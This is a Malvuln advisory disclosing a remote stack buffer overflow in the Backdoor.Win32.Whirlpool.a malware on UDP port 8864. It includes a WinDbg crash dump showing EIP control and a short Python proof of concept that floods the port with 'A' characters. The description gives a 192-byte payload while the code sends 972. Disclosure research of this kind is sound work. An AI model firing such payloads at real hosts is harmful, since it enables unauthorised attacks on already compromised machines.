Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/90171763d1cc62102b08482bac54ea8b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Whirlpool.a
Vulnerability: Remote Buffer Overflow - UDP Datagram
Description: The malware listens on UDP Datagram ports 8848 and 8864. Sending a 192 byte payload to port 8864 triggers a classic stack buffer overflow overwriting ECX, EIP registers. This can allow third party attackers to further compromise already infected systems.
Type: PE32
MD5: 90171763d1cc62102b08482bac54ea8b
Vuln ID: MVID-2021-0232
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/30/2021
Memory Dump:
(7a4.1b98): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77279d70 esi=00000000 edi=00000000
eip=41414141 esp=000a13f8 ebp=000a1418 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe
FAULTING_IP:
Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+28ff
004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: 0019f788 -- (.exr 0x19f788)
ExceptionAddress: 004028ff (Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+0x000028ff)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000
PROCESS_NAME: Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+28ff
004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
FAILED_INSTRUCTION_ADDRESS:
+28ff
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019f7d8 -- (.cxr 0x19f7d8)
eax=000003cc ebx=041d29b8 ecx=00000013 edx=0019fc80 esi=041d2d68 edi=001a0000
eip=004028ff esp=0019fc38 ebp=0019fc48 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+0x28ff:
004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 0048f6cd to 004028ff
STACK_TEXT:
0019fc38 004028ff backdoor_win32_whirlpool_a+0x28ff
0019fc50 0048f6cd backdoor_win32_whirlpool_a+0x8f6cd
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019fea0 41414141 unknown!printable+0x0
0019fea4 41414141 unknown!printable+0x0
0019fea8 41414141 unknown!printable+0x0
0019feac 41414141 unknown!printable+0x0
0019feb0 41414141 unknown!printable+0x0
0019feb4 41414141 unknown!printable+0x0
0019feb8 41414141 unknown!printable+0x0
0019febc 41414141 unknown!printable+0x0
0019fec0 41414141 unknown!printable+0x0
0019fec4 41414141 unknown!printable+0x0
0019fec8 41414141 unknown!printable+0x0
0019fecc 41414141 unknown!printable+0x0
0019fed0 41414141 unknown!printable+0x0
0019fed4 41414141 unknown!printable+0x0
0019fed8 41414141 unknown!printable+0x0
0019fedc 41414141 unknown!printable+0x0
0019fee0 41414141 unknown!printable+0x0
0019fee4 41414141 unknown!printable+0x0
0019fee8 41414141 unknown!printable+0x0
0019feec 41414141 unknown!printable+0x0
0019fef0 41414141 unknown!printable+0x0
0019fef4 41414141 unknown!printable+0x0
0019fef8 41414141 unknown!printable+0x0
0019fefc 41414141 unknown!printable+0x0
0019ff00 41414141 unknown!printable+0x0
0019ff04 41414141 unknown!printable+0x0
0019ff08 41414141 unknown!printable+0x0
0019ff0c 41414141 unknown!printable+0x0
0019ff10 41414141 unknown!printable+0x0
0019ff14 41414141 unknown!printable+0x0
0019ff18 41414141 unknown!printable+0x0
0019ff1c 41414141 unknown!printable+0x0
0019ff20 41414141 unknown!printable+0x0
0019ff24 41414141 unknown!printable+0x0
0019ff28 41414141 unknown!printable+0x0
0019ff2c 41414141 unknown!printable+0x0
0019ff30 41414141 unknown!printable+0x0
0019ff34 41414141 unknown!printable+0x0
0019ff38 41414141 unknown!printable+0x0
0019ff3c 41414141 unknown!printable+0x0
0019ff40 41414141 unknown!printable+0x0
0019ff44 41414141 unknown!printable+0x0
0019ff48 41414141 unknown!printable+0x0
0019ff4c 41414141 unknown!printable+0x0
0019ff50 41414141 unknown!printable+0x0
0019ff54 41414141 unknown!printable+0x0
0019ff58 41414141 unknown!printable+0x0
0019ff5c 41414141 unknown!printable+0x0
0019ff60 41414141 unknown!printable+0x0
0019ff64 41414141 unknown!printable+0x0
0019ff68 41414141 unknown!printable+0x0
0019ff6c 41414141 unknown!printable+0x0
0019ff70 41414141 unknown!printable+0x0
0019ff74 41414141 unknown!printable+0x0
0019ff78 41414141 unknown!printable+0x0
0019ff7c 41414141 unknown!printable+0x0
0019ff80 41414141 unknown!printable+0x0
0019ff84 41414141 unknown!printable+0x0
0019ff88 41414141 unknown!printable+0x0
0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!printable+0x0
0019ff94 41414141 unknown!printable+0x0
0019ff98 41414141 unknown!printable+0x0
0019ff9c 41414141 unknown!printable+0x0
0019ffa0 41414141 unknown!printable+0x0
0019ffa4 41414141 unknown!printable+0x0
0019ffa8 41414141 unknown!printable+0x0
0019ffac 41414141 unknown!printable+0x0
0019ffb0 41414141 unknown!printable+0x0
0019ffb4 41414141 unknown!printable+0x0
0019ffb8 41414141 unknown!printable+0x0
0019ffbc 41414141 unknown!printable+0x0
0019ffc0 41414141 unknown!printable+0x0
0019ffc4 41414141 unknown!printable+0x0
0019ffc8 41414141 unknown!printable+0x0
0019ffcc 41414141 unknown!printable+0x0
0019ffd0 41414141 unknown!printable+0x0
0019ffd4 41414141 unknown!printable+0x0
0019ffd8 41414141 unknown!printable+0x0
0019ffdc 41414141 unknown!printable+0x0
0019ffe0 41414141 unknown!printable+0x0
0019ffe4 41414141 unknown!printable+0x0
0019ffe8 41414141 unknown!printable+0x0
0019ffec 41414141 unknown!printable+0x0
0019fff0 41414141 unknown!printable+0x0
0019fff4 41414141 unknown!printable+0x0
0019fff8 41414141 unknown!printable+0x0
0019fffc 41414141 unknown!printable+0x0
001a0000 41414141 unknown!printable+0x0
001a0004 78746341 unknown!printable+0x0
STACK_COMMAND: .cxr 000000000019F7D8 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc38 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_whirlpool_a+28ff
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b
IMAGE_NAME: Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_whirlpool_a+28ff
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe!Unknown
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8864
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*972
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Whirlpool.a / Remote Buffer Overflow - UDP Datagram")
print("MD5: 90171763d1cc62102b08482bac54ea8b")
print("Malvuln")
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
